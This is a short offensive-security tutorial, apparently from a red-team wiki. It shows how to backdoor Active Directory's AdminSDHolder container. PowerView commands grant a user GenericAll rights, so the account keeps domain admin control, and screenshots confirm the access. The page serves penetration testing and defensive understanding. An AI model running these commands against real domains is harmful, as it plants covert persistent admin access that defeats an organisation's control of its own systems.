# Backdooring AdminSDHolder for Persistence

### AdminSDHolder

`AdminSDHolder` is a special AD container with some "default" security permissions that is used as a template for protected AD accounts and groups (like Domain Admins, Enterprise Admins, etc.) to prevent their accidental and unintended modifications, and to keep them secure.

Once you have regained Domain Admin privileges, the `AdminSDHolder` container can be abused by backdooring it by giving your user `GenericAll` privileges, which effectively makes that user a Domain Admin.

### Execution

Backdooring the AdminSDHolder container by adding an ACL that provides user `spotless` with `GenericAll` rights for `Domain Admins` group:

{% code title="PowerView / PowerShell" %}

```powershell
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName spotless -Verbose -Rights All
```

{% endcode %}

![AdminSDHolder ACL update 1](https://content.gitbook.com/content/pkdwDJIuvdv3ukF6DFYY/blobs/HUxmcmKoswKNAxDgXCbd/image)

This is actually what happens to the container - the security ACLs get updated and `spotless` gets all the privileges:

![AdminSDHolder ACL update 2](https://content.gitbook.com/content/pkdwDJIuvdv3ukF6DFYY/blobs/M3PxBRdavWf1UWsltjzf/image)

After \~60 minutes the changes will propagate automatically, but if you want to force it (if you are testing this in your labs), you can do it via ldp.exe by Modifying DN like so:

![ldp modify DN example](https://content.gitbook.com/content/pkdwDJIuvdv3ukF6DFYY/blobs/PJIVHtHPeXiHmYTu26UY/image)

Now, confirming that the user spotless has got `GenericAll` privileges against `Domain Admins` group:

{% code title="PowerView / PowerShell" %}

```powershell
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}
```

{% endcode %}

![Confirm GenericAll on Domain Admins](https://content.gitbook.com/content/pkdwDJIuvdv3ukF6DFYY/blobs/ONQMp6ViasBm8Rl5CNCx/image)

We can now hop back to the Domain Admins any time we want to:

![Access Domain Admins](https://content.gitbook.com/content/pkdwDJIuvdv3ukF6DFYY/blobs/sMcW66OHeJBfRXyOkQQD/image)

In fact, we do not even need to be part of DA group, we still have full access to the DC:

![Full DC access without DA group membership](https://content.gitbook.com/content/pkdwDJIuvdv3ukF6DFYY/blobs/fS9cWffnZFkoafMVc0iO/image)

### References

{% embed url="<https://blogs.technet.microsoft.com/askds/2009/05/07/five-common-questions-about-adminsdholder-and-sdprop/>" %}

{% embed url="<https://adsecurity.org/?p=1906>" %}